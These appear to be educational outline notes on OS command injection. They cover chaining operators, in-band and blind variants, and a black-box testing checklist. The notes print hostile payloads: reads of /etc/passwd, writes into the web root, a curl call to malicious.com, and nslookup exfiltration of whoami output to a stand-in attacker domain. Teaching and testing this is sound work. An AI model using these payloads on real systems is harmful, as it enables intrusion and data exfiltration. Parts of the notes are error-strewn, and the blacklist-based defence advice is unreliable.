Cyber360

OS Command Injection

- whoami
  - HasanRhani
- Introduction
  - An attacker tricks the web application into executing operating system commands in the web application
  - Operating system Family
    - There are two main famiiies of operating system in the web application
      - Linux
      - Windows
  - Commands
    - Name of the current user
      - whoami
    - Network Details
      - Windows
        - ipconfig/all
      - Linux
        - ifconfig
    - Network connection
      - netstat -antp
    - Running Processer
      - Windows
        - tasklist
      - Linux
        - ps -ef
- How it Works
  - A web application which shows the weather
    - https://webapplication.com/weather?city=mumbai
  - An SQL query might be if required
    - SELECT temperature FROM weather WHERE city = 'mumbai' OR '1'='1';
  - The web application run commands to get the weather
    - weather.sh --city=mumbai
  - Without proper validation or sanitization the attacker can tricks the command to the URL
    - https://webapplication.com/weather?city=mumbai&&ls
  - The web application run this given command
    - weather.sh --city=mumbai&&ls
  - Which results in web application repones
    - Weather in mumbai : 24 C
index.html
about.html
contact.html
  - The output the attacker knows this is vulnerably to OS Command Injection which lead to revershell of the web application
- Executing Command Injection
  - Piping |
    - Used to chain commands togerther passing the output of one command as input to another.
      - It used to filtering data.
    - command1 | command2
      - ls | grep 'txt'
  - Single Ampersand &
    - Runs the commands in background and returns to the console.
    - command1 & command2
      - sleep 10 & echo "Done"
  - And Operator &&
    - Runs multiply command togerther but the first command should be suceeded to runs the second commands
    - command1 && command2
      - mkdir newdir && cd newdir
  - SemiColon
    - Runs both command each after another regardless of commands pass or fail
    - command1 ; command2
      - cd /var/www ; ls
  - Backtricks
    - Runs the backtrick command and replace it with the command output
    - cammand1 `command2`
      - command2 runs first then the output of command2 is passed as an argument to command1
      - echo `date`
  - Dollar Sign Parentheses $()
    - Runs the backets command and replace it with command output
      - command2 runs first then the output of command2 is passed as an argument to command1
    - command1 $(command2)
      - echo $(date)
- Types
  - In-band Command Injection
    - An attacker is able to trick the web application into executing command on the web application which received a response/output of the executed command in the web application.
      - Show immediate results in the web application response.
    - Example
      - A search function on a website allows user to search for products by name,
      - Normally user search for 'apple'.
      - Attacker searches for 'apple; ls'
      - Server execute is search apple; ls
      - Response will be display in web application.
  - blind Command /Out-band /Out of band Injection
    - An attacker is able to trick the web application into executing command on the web application but does not receive response in the web application and the attacker has to relay on indirect methods to confirm if the OS command
this is also know as Blind injection.
      - Attacker use external methods to confirm the command injected executed.
    - Example
      - A search function on a website allows user to search for products by name,
      - Normally user search for 'apple'.
      - Attacker searches for 'apple; echo whoami > whoami.txt'
      - Server execute is search apple; echo whoami > whoami.txt
      - Attacker has to Directory Traversal or use /whoami.txt to check if the injection works.
    - Example with Curl
      - If curl is in the Server use the CURL to confirm the injection
      - https://webapplication.com/weather?city=mumbai&& curl malicious.com/login.php
      - So the server execute the Command is
      - weather.sh --city=mumbai&& curl malicious.com/login.php
      - And attacker can monitor if the network traffic received then the Out of band works.
- BlackBox
  - Visit all the application pages that user can access.
  - Enter multiply commands in one line using special characters (External commands) to see if the application runs them.
  - Looks for the application response for error indicating a vulnerability
  - Looks for the application response for error indicating a vulnerability.
  - Test for the blind injection using ping or sleep commands
  - In-band & out of band command injection
    - Shell Meta characters
      - Concatenate Commands
        - && cat /etc/passwd &
        - & cat /etc/passwd &
        - || cat /etc/passwd &
      - Trigger Time Delay
        - && sleep 10 &
        - & sleep 10 #
        - && ping -c 10 127.0.0.1 &
      - Output to Web Root
        - & whoami > /var/www/static/whoami.txt &
        - & nslookup attacker.com #
      - Out of band
        - & nslookup attacker.server.com &
        - & nslookup $(whoami).attackerserver.com &
        - & nslookup \whoami`.attackerserver.com &`
- Defense Against OS Command Injection
  - Avoid direct OS Command Injection
    - Use language function to call OS commands example python which has os.listdir instead of ls
  - Blacklisting
    - Block all the malicious characters like ;, &, |, ``, $(), >, <, and others. and replace it with SPACE.
  - Defence in Dept
    - Use the minimum privilege on the web application